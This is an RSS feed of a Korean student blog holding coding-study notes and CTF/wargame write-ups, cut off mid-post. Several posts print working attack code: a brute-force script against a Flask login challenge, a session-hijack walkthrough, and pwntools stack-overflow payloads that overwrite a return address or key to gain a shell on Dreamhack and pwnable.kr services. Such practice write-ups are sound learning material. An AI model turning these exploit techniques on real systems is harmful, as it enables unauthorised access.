<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>mincom1224 님의 블로그</title>
    <link>https://mincom1224.tistory.com/</link>
    <description>mincom1224 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Thu, 23 Jul 2026 19:32:40 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>mincom1224</managingEditor>
    <item>
      <title>2026-06-28 하계 모각코 1차</title>
      <link>https://mincom1224.tistory.com/30</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 입출력문,반복문,제어문에 대해 공부하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 scanf,printf를 공부하였는데 우선&lt;/p&gt;
&lt;pre id=&quot;code_1782643863358&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* Type your code here, or load an example. */
#include &amp;lt;stdio.h&amp;gt;

int main() {
    int m = 0;
    scanf(&quot;%d&quot;,&amp;amp;m);
    printf(&quot;%d&quot;, m);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드를 넣고 gcc를 돌렸어야 했으나 귀찮아 Compiler Explorer Website를 활용하여 assembly로 변경하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1782643980248&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.LC0:
        .string &quot;%d&quot;
&quot;main&quot;:
        push    rbp
        mov     rbp, rsp
        sub     rsp, 16
        mov     DWORD PTR [rbp-4], 0
        lea     rax, [rbp-4]
        mov     rsi, rax
        mov     edi, OFFSET FLAT:.LC0
        mov     eax, 0
        call    __isoc23_scanf
        mov     eax, DWORD PTR [rbp-4]
        mov     esi, eax
        mov     edi, OFFSET FLAT:.LC0
        mov     eax, 0
        call    &quot;printf&quot;
        mov     eax, 0
        leave
        ret&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 LC0에서는 string을 다룬다 어셈블리에서는 C와 동일하게 String을 언어내에서 지원하지않는다 기계어에서도 string은 몇바이트라는 약속이 되어있지않는다. 그래서 어셈블리에서 string을 다룰때에는 연속된 바이트로써 string을 저장하는데 예를 들어 0x1000부터 string을 저장한다고 가정하자. 그럼 0x1000~0x1004까지 string을 선언하면 이런 string이 어디에 저장되어있는지 식별하기위에서 Label을 활용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그다음은 rbp인데 이는 어셈블리의 기본시작이므로 깊게 이야기는 안할려고 한다. 함수 스택이 쌓일 적에 스택을 쌓는 base를 rbp(Base pointer)라고 한다. 그리고 rsp(stack pointer)를 rbp로 옮긴다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음줄인 mov DWORD PTR [rbp-4],0 인데 이는 mov(복사(이동)하라) DWORD PTR(4바이트 만큼)[rbp-4](rbp에서 4바이트만큼 내린 공간에서),0(0을)이라는 말이 된다. 즉 int m = 0;인 셈이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;scnaf 함수 공간인데 보통 assembly에서 함수를 부를때에는 함수호출규약을 따른다. call은 함수를 부르는 역할이고 함수들의 인자는 rax,eax등에 규약으로 정해준 순서대로 들어간뒤 함수를 부른다. 여기서 scanf 함수를 봐보자.&lt;/p&gt;
&lt;pre id=&quot;code_1782646024326&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* Copyright (C) 1991-2025 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   &amp;lt;https://www.gnu.org/licenses/&amp;gt;.  */

#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;libioP.h&amp;gt;

/* Read formatted input from stdin according to the format string FORMAT.  */
int
__isoc23_scanf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfscanf_internal (stdin, format, arg,
			     SCANF_ISOC99_A | SCANF_ISOC23_BIN_CST);
  va_end (arg);

  return done;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 scanf를 밭고 이것들을 가지고 _vfscanf_internal을 부른다. 즉 _isoc23_scanf는 wrraper class인것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;internal이 움직이는 모양이 진짜 scanf의 움직임인것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/30</guid>
      <comments>https://mincom1224.tistory.com/30#entry30comment</comments>
      <pubDate>Sun, 5 Jul 2026 21:24:13 +0900</pubDate>
    </item>
    <item>
      <title>2026 하계 모각코 목표</title>
      <link>https://mincom1224.tistory.com/29</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;저번 2026 동계 모각코 활동에서는 시스템 해킹 문제 풀이에 굉장히 집중되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 저번 모각코활동에서 C언어와 assembly에 대한 지식이 부족했고 C언어에 대한 지식부족은 충남대학교 컴퓨터프로그래밍3(C언어)성적으로 증명하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이번 모각코에서는 C언어와 asseembly를 linux상에 debuger를 활용하여 직접 어셈블리로 바꾸어 메모리에서 어떻게 받아들이는지 맨 처음 C언어에서는 어떤 함수가 사용되었고 어떤 함수들이 보안적인 문제로 인해 폐기되었고 혹은 함수상의 어셈블리코드가 어떻게 바뀌었는지 알아보고자 합니다. 전체 흐름은 충남대학교 컴퓨터프로그래밍3의 흐름 달려나갈 예정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1차=&amp;gt; 컴퓨터프로그래밍 1주차~2주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2차=&amp;gt;컴퓨터프로그래밍 3주차~4주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3차=&amp;gt;컴퓨터프로그래밍 5주차~6주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4차=&amp;gt;컴퓨터프로그래밍 7주차~9주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5차=&amp;gt;컴퓨터프로그래밍 10주차~11주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6차=&amp;gt;컴퓨터프로그래밍 11주차~12주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7차=&amp;gt;컴퓨터프로그래밍 13주차~14주차&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 과정은 C언어 향상 및 어셈블리상에 메모리를 어떻게 사용하는지 체크 하는 것을 주 목적으로 합니다.&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/29</guid>
      <comments>https://mincom1224.tistory.com/29#entry29comment</comments>
      <pubDate>Sat, 27 Jun 2026 22:43:55 +0900</pubDate>
    </item>
    <item>
      <title>random-test 풀이</title>
      <link>https://mincom1224.tistory.com/28</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2175&quot; data-origin-height=&quot;569&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z0uku/dJMcacQAYzo/6LLIhGM34xxVjff32D0BU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z0uku/dJMcacQAYzo/6LLIhGM34xxVjff32D0BU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z0uku/dJMcacQAYzo/6LLIhGM34xxVjff32D0BU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz0uku%2FdJMcacQAYzo%2F6LLIhGM34xxVjff32D0BU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2175&quot; height=&quot;569&quot; data-origin-width=&quot;2175&quot; data-origin-height=&quot;569&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1778496437013&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import random

app = Flask(__name__)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()       # flag is here!
except:
    FLAG = &quot;[**FLAG**]&quot;


rand_str = &quot;&quot;
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
    rand_str += str(random.choice(alphanumeric))

rand_num = random.randint(100, 200)


@app.route(&quot;/&quot;, methods = [&quot;GET&quot;, &quot;POST&quot;])
def index():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;index.html&quot;)
    else:
        locker_num = request.form.get(&quot;locker_num&quot;, &quot;&quot;)
        password = request.form.get(&quot;password&quot;, &quot;&quot;)

        if locker_num != &quot;&quot; and rand_str[0:len(locker_num)] == locker_num:
            if locker_num == rand_str and password == str(rand_num):
                return render_template(&quot;index.html&quot;, result = &quot;FLAG:&quot; + FLAG)
            return render_template(&quot;index.html&quot;, result = &quot;Good&quot;)
        else: 
            return render_template(&quot;index.html&quot;, result = &quot;Wrong!&quot;)
            
            
app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위는 random test 문제 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 봤을 때 쿠키나 섹션이 없고 아직 잘 모르는 injection이나 하이젝션이 보이지 않아 일단 브루트 포스로 하자는 생각으로 브루트 포스 풀이방식으로 풀이식을 썼다. 위 id의 함정은 id만 맞아도 Good를 출력해준다는것이 핵심이였다. 그럼 일단 id를 먼저 구하고 그다음 password를 브루트포스로 구하면 충분히 풀수있는 문제였다.&lt;/p&gt;
&lt;pre id=&quot;code_1778496604018&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests

url = &quot;실제 문제 url&quot;
alphanumeric = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;

found_rand_str = &quot;&quot;
for i in range(4):
    for char in alphanumeric:
        test_str = found_rand_str + char
        data = {'locker_num': test_str, 'password': ''}
        res = requests.post(url, data=data)

        if &quot;Good&quot; in res.text:
            found_rand_str += char
            print(f&quot;찾은 문자열: {found_rand_str}&quot;)
            break
print(f&quot;최종 rand_str: {found_rand_str}&quot;)
for num in range(100, 201):
    data = {'locker_num': found_rand_str, 'password': str(num)}
    res = requests.post(url, data=data)

    if &quot;FLAG:&quot; in res.text:
        print(f&quot;패스워드 찾음: {num}&quot;)
        print(f&quot;결과: {res.text.split('FLAG:')[1].split('&amp;lt;')[0]}&quot;)
        break&lt;/code&gt;&lt;/pre&gt;</description>
      <category>웹</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/28</guid>
      <comments>https://mincom1224.tistory.com/28#entry28comment</comments>
      <pubDate>Mon, 11 May 2026 19:50:11 +0900</pubDate>
    </item>
    <item>
      <title>session-basic 문제 풀이</title>
      <link>https://mincom1224.tistory.com/27</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2194&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J5xBq/dJMcafzMJ2p/krGScxPFLyZTeODetlrEBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J5xBq/dJMcafzMJ2p/krGScxPFLyZTeODetlrEBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J5xBq/dJMcafzMJ2p/krGScxPFLyZTeODetlrEBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ5xBq%2FdJMcafzMJ2p%2FkrGScxPFLyZTeODetlrEBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2194&quot; height=&quot;640&quot; data-origin-width=&quot;2194&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 seession-basic문제를 풀이했다.&lt;/p&gt;
&lt;pre id=&quot;code_1778242911319&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}


# this is our session storage
session_storage = {
}


@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            # you cannot know admin's pw
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(32).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage


if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위는 오늘 풀었던 문제의 웹 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 읽어보면 admin함수 부분에서 URL에 대쉬이후에 admin을 적으면 권한에 상관없이 sessionid의 해시태그가 나오는 문제점이 있어 쿠키를 세션id로 설정해주면(로그인 함수 부분을 보면 pw == password이면 admin로그인 승인으로 되어 있음) 자동으로 admin으로 로그인 되었다.&lt;/p&gt;</description>
      <category>웹</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/27</guid>
      <comments>https://mincom1224.tistory.com/27#entry27comment</comments>
      <pubDate>Fri, 8 May 2026 21:27:10 +0900</pubDate>
    </item>
    <item>
      <title>2026-02-09 동계모각코 6차 회고</title>
      <link>https://mincom1224.tistory.com/26</link>
      <description>&lt;pre id=&quot;code_1770624961962&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;


void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system(&quot;cat flag&quot;);
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 푼 워게임의 C코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main문에서는 read_flag함수를 전혀 쓰지않기때문에 일반적인 방법으로는 read_flag()를 사용할수 없으므로 char buf[0x80]에 인자값을 0x80(십진수:128)를 오버플로우 시켜서 RET값을 read_flag함수의 주소값으로 덮어씌우면 read_flag()함수가 실행된다.&lt;/p&gt;
&lt;pre id=&quot;code_1770625120088&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위중 read_flag()함수값의 주소는&amp;nbsp; 0x080485b9 이므로 이걸로 RET를 덮혀씌우면 되므로 페이로드가&lt;/p&gt;
&lt;pre id=&quot;code_1770625180998&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
p = remote(&quot;host3.dreamhack.games&quot;,10397)
read_flag_addr = 0x080485b9
payload = b&quot;A&quot; * 128        # buf 채우기
payload += b&quot;B&quot; * 4          # SFP 채우기
payload += p32(read_flag_addr)
p.sendline(payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 될것이다. 그럼 자연스레 flag가 나와 문제를 풀수 있게 된다.&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/26</guid>
      <comments>https://mincom1224.tistory.com/26#entry26comment</comments>
      <pubDate>Mon, 9 Feb 2026 17:20:04 +0900</pubDate>
    </item>
    <item>
      <title>2026-02-09 동계모각코 6차 목표</title>
      <link>https://mincom1224.tistory.com/25</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/scoMX/dJMcai91mjZ/0GatU1JMR7GpHkQgeWBMak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/scoMX/dJMcai91mjZ/0GatU1JMR7GpHkQgeWBMak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/scoMX/dJMcai91mjZ/0GatU1JMR7GpHkQgeWBMak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FscoMX%2FdJMcai91mjZ%2F0GatU1JMR7GpHkQgeWBMak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;basic_exploitation_001이라는 워게임을 풀어볼려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/25</guid>
      <comments>https://mincom1224.tistory.com/25#entry25comment</comments>
      <pubDate>Mon, 9 Feb 2026 15:22:33 +0900</pubDate>
    </item>
    <item>
      <title>2026-02-07 동계 모각코 5차 목표</title>
      <link>https://mincom1224.tistory.com/24</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 pwnable.kr에 있는 문제를 풀이할려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/24</guid>
      <comments>https://mincom1224.tistory.com/24#entry24comment</comments>
      <pubDate>Mon, 9 Feb 2026 15:10:44 +0900</pubDate>
    </item>
    <item>
      <title>2027-02-07 동계모각코 5차회고</title>
      <link>https://mincom1224.tistory.com/23</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 pwnable.kr사이트에 있는 문제들을 도장깨기하는데 내가 알아야할 내용들이 있어 정리하려 이 글을 쓴다.&lt;/p&gt;
&lt;pre id=&quot;code_1769718152973&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
void func(int key){
        char overflowme[32];
        printf(&quot;overflow me : &quot;);
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                setregid(getegid(), getegid());
                system(&quot;/bin/sh&quot;);
        }
        else{
                printf(&quot;Nah..\n&quot;);
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위는 내가 푼 워게임의 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJHNmo/dJMcaaRGAHe/28l2Z5BC6GVzkXSC8DjMt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJHNmo/dJMcaaRGAHe/28l2Z5BC6GVzkXSC8DjMt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJHNmo/dJMcaaRGAHe/28l2Z5BC6GVzkXSC8DjMt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJHNmo%2FdJMcaaRGAHe%2F28l2Z5BC6GVzkXSC8DjMt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;575&quot; height=&quot;485&quot; data-origin-width=&quot;575&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 귀찮아서 블로그를 긁어왔다(출처:&lt;a href=&quot;https://msh1307.tistory.com/77&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://msh1307.tistory.com/77&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기 코드를 보면 ebp-0x2c만큼 공간을 내고 ebp+0x8만큼 0xcafebabe를 탐색한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 우리의 목표는 ebp-0x2c와 ebp-0x8사이에 있는 공간을 넘어서 0xcafebabe를 붙히면 성공하는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 그럼 함수호출규약을 따라 보면 ebp+0x8에 key값이 있다는 걸 알수있다. 그럼 우리는 ebp+0x8넘어에 있는 값을 뒤에 있는 값이 key값인것을 알수있다. 그럼 (쓰레기값??bit)+(0xcafebabe)을 할수 있게 짜보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 공간을 몇비트가 필요할까 이건 ebp값을 보면 쉽다 첫줄에 push ebp를 넣었으니까 ebp를 기준으로 빼고 더하며 스택을 쌓아보면 된다. ebp-0x2c부터 ebp+0x8사이 공간값을 계산해보면 52bit공간이 나오게 된다. 그럼 이를 통해 페이로드를 작성해보자!&lt;/p&gt;
&lt;pre id=&quot;code_1769722358209&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *;
r = remote('pwnable.kr',2222)
answer = b'A'*52
answer += p32(0xcafebabe)
r.sendline(answer)
r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 작성하면 쉘을 얻게되어 flag에 접근할수 있는 권한이 생겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이부분에 카나리 부분또한 존재한다.하지만 왜 나는 더 하지않았을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애초에 어셈블리코드 흐름자체에는 카나리보안기법이 적용되어 있다. 하지만 카나리를 점검하는 과정 &amp;lt;+78&amp;gt;이 우리가 위코드에서본 /bin/sh를 얻는것보다 더 느리기 때문에 먼저 쉘을 취득하는 방향으로 어셈블리의 흐름을 바꾸었다. RET값을 덮었으니 뒤에 코드는 안봐도 된다. 이상으로 오늘 BOF문제를 해결하였다. ebp는 관례적으로 많이 쓰는 레지스터이니 이를 통해 쭉 내려가다 보면 사이즈를 금방 특정할수 있게 될것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;틀린 부분이 있다면 댓글로 제보 부탁드려요~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/23</guid>
      <comments>https://mincom1224.tistory.com/23#entry23comment</comments>
      <pubDate>Fri, 30 Jan 2026 06:35:23 +0900</pubDate>
    </item>
    <item>
      <title>2026-01-24 동계모각코 4차 회고</title>
      <link>https://mincom1224.tistory.com/22</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 pwntool에 대해 알아보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 오늘의 예제 문제는&lt;/p&gt;
&lt;pre id=&quot;code_1769237076156&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
int main() {
  int i, a, b, ans;
  srand(time(0));

  for (i = 0; i &amp;lt; 100; i++) {
    a = rand() % 20000;
    b = rand() % 20000;
    printf(&quot;#%d: %d + %d = ?\n&quot;, i, a, b);
